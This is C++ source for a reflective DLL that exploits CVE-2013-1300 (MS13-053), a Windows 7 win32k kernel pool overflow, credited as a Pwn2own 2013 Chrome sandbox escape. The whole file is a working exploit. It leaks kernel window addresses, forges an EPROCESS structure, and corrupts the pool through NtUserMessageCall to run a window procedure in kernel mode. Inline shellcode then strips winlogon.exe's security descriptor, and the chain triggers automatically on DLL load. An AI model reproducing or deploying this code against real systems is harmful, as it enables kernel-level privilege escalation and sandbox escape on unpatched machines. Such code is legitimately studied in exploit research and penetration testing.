/*! * @file dllmain.cpp * @brief Exploit for CVE-2013-1300 aka ms13-053 * @detail Tested on Windows 7 32-bit. * Used in pwn2own 2013 to break out of chrome's sandbox. * Found and exploited by nils and jon of @mwrlabs. */ #define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN #include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" // Purloined from ntstatus.h #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth #define WIN32_NO_STATUS #include #undef WIN32_NO_STATUS #ifndef _NTDEF_ typedef __success(return >= 0) LONG NTSTATUS; typedef NTSTATUS *PNTSTATUS; #endif #define MAX_PAGE 4096 #define TABLE_BASE 0xff910000 #define EXPLOIT_MSG WM_GETTEXT // global variables FTW HWND gHwnd = 0x0; unsigned int gEPROCESS = 0x0; unsigned gPid = 0x0; typedef struct _HANDLEENTRY { VOID *phead; VOID *pOwner; UINT8 bType; UINT8 bFlags; UINT16 wUniq; } HANDLEENTRY, *PHANDLEENTRY; DWORD gethandleaddress(HANDLE h) { HMODULE mod = GetModuleHandleA("user32.dll"); DWORD* sharedinfo = (DWORD*)GetProcAddress(mod, "gSharedInfo"); PHANDLEENTRY handles = (PHANDLEENTRY)sharedinfo[1]; DWORD index = (DWORD)h&0x3ff; HANDLEENTRY entry = handles[index]; return (DWORD)entry.phead; } DWORD kernelwndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) { WORD um=0; __asm { mov ax, cs mov um, ax } if(um == 0x1b) { } else { // KERNEL MODE CODE EXECUTION // shellcode to change ACL of winlogon.exe to 0x0 __asm { mov eax, hwnd // WND mov eax, [eax+8] // THREADINFO mov eax, [eax] // ETHREAD mov eax, [eax+0x150] // KPROCESS mov eax, [eax+0xb8] // flink procloop: lea edx, [eax-0xb8] // KPROCESS mov eax, [eax] add edx, 0x16c // module name cmp dword ptr [edx], 0x6c6e6977 // "winl" for winlogon.exe jne procloop sub edx, 0x170 mov dword ptr [edx], 0x0 // null acl mov eax, [edx + 0xb8] // write winlogon pid to global var mov gPid, eax } return 0x201000; } return DefWindowProcW(hwnd,msg,wparam,lparam); } HWND createhelperwnd() { WNDCLASSA wndclass; HANDLE hinst = GetModuleHandleA(0); DWORD rc = 0; wndclass.style = 0x4000; wndclass.lpfnWndProc = (WNDPROC)kernelwndproc; wndclass.cbClsExtra = 0; wndclass.cbWndExtra = 0; wndclass.hInstance = (HINSTANCE)hinst; wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107); wndclass.hCursor = 0; wndclass.hbrBackground = (HBRUSH)6; wndclass.lpszMenuName = 0; wndclass.lpszClassName = (LPCSTR) 0x1338; rc=RegisterClassA(&wndclass); HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1338, "helper", 0, 0, 0, 0, 0, 0, 0, 0, hinst); return windowhandle; } typedef NTSTATUS __stdcall NtAllocateVirtualMemory_T(HANDLE processHandle, PVOID *baseAddress, ULONG_PTR zeroBits, PSIZE_T regionSize, ULONG allocationType, ULONG protect); BOOL AllocFakeEProcess(DWORD address) { unsigned int addr = 0x200000; DWORD allocsize = 0x4000; int x=0; NtAllocateVirtualMemory_T * pfnNtAllocateVirtualMemory = 0; pfnNtAllocateVirtualMemory = (NtAllocateVirtualMemory_T *)GetProcAddress( GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory"); unsigned o = (0x20 / 4); // the offset into the page NTSTATUS res = 0x0; for(x=0; x<0x60; x++) { res = pfnNtAllocateVirtualMemory((HANDLE)0xffffffff, (PVOID*)&addr, 0, &allocsize, 0x3000, 0x40); if(res == 0x0) { break; } addr += 0x10000; } if(res!=0) return FALSE; memset((void*)addr, 0xab, 0x4000); UINT *eprocess = (UINT*)addr+o; UINT *before = (UINT*)addr; // large enough values to hold reference before[2] = 0x00080000; before[3] = 0x400000; UINT *second = (UINT*)addr + (0x1000/4); for(x=0; x<100; x++) eprocess[x] = (0xdead<<16) + (0xaa00 | x); eprocess[0] = 0x03030303; // least significant byte == 0x3 // Pointer to EPROCESS_QUOTA_BLOCK // Will point into the window object and on decrement flip the flag to enable the kernel mode window procedure eprocess[0xd4/4] = address; gEPROCESS = (unsigned int)eprocess; //for(x=0; x<100; x++) second[x] = (0xbeef<<16) + (0xbb00 | x); //second[0x20] = 0x2; //second[0x30] = 0x1; return TRUE; } DWORD wndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) { if(msg == EXPLOIT_MSG) { // triggering the exploit through WM_GETTEXT // printf("[-] WM_GETTEXT message\n"); unsigned char payload[] = "ABCDE "; payload[7] = (gEPROCESS>>16) & 0xff; memcpy((void *) lparam, (void *)payload, 8); return 8; } return DefWindowProcA(hwnd, msg, wparam, lparam); } DWORD windowthreadproc(LPVOID arg) { WNDCLASSA wndclass; HANDLE hinst = GetModuleHandleA(0); DWORD rc = 0; MSG msg; wndclass.style = 0x4000; wndclass.lpfnWndProc = (WNDPROC)wndproc; wndclass.cbClsExtra = 0; wndclass.cbWndExtra = 0; wndclass.hInstance = (HINSTANCE)hinst; wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107); wndclass.hCursor = 0; wndclass.hbrBackground = (HBRUSH)6; wndclass.lpszMenuName = 0; wndclass.lpszClassName = (LPCSTR) 0x1337; rc=RegisterClassA(&wndclass); HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1337, "Jon Rocks!", 0, 0, 0, 0, 0, 0, 0, 0, hinst); gHwnd = windowhandle; while(1) { GetMessageA(&msg, 0x0, 0x0, 0x0); TranslateMessage(&msg); DispatchMessageA(&msg); } return 0; } DWORD NtUserMessageCall(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam, DWORD result, DWORD fnid, DWORD ansi) { __asm { push ansi push fnid push result push lparam push wparam push msg push hwnd push 0xdeadbeef mov eax, 11eah mov edx, 7ffe0300h call [edx] add esp, 20h } } typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef long (*_RtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN,ULONG, PULONG,PULONG, PVOID,PVOID, PHANDLE,PCLIENT_ID); _RtlCreateUserThread RtlCreateUserThread; int Schlamperei() { // Create window which will execute the wndproc in kernel mode HWND wnd = createhelperwnd(); // Retrieve memory address of window using gSharedInfo DWORD addressofwnd = gethandleaddress(wnd); HMODULE ntdll=LoadLibraryA("ntdll.dll"); RtlCreateUserThread=(_RtlCreateUserThread)GetProcAddress(ntdll,"RtlCreateUserThread"); // Allocate fake EPROCESS in user mode // see "Kernel Pool Exploitation on Windows 7" by Tarjei Mandt if(!AllocFakeEProcess(addressofwnd-0x80+0x15)) { return 0; } // Create window in new thread to trigger inter thread message sending HANDLE thread = CreateThread(0,0,(LPTHREAD_START_ROUTINE)windowthreadproc,0,0,0); Sleep(0x1000); // 0x9 is size of allocation, results in buffer (8 + 4) = 12 // 8 byte block allocations = 16 bytes // so we will copy in 8*2 bytes = 16 bytes to corrupt the pool pointer unsigned char *buf = (unsigned char *)malloc(16); for(int i=0; i<0x40; i++) { NtUserMessageCall(gHwnd, EXPLOIT_MSG, 0x8, (LPARAM)buf, 0x0, 0x2b3, 0x10); } SendMessage(wnd, 0x401, addressofwnd, 0x0); ExitProcess(0); } extern HINSTANCE hAppInstance; BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { BOOL bReturnValue = TRUE; switch (dwReason) { case DLL_QUERY_HMODULE: hAppInstance = hinstDLL; if (lpReserved != NULL) { *(HMODULE *)lpReserved = hAppInstance; } break; case DLL_PROCESS_ATTACH: Schlamperei(); break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue; };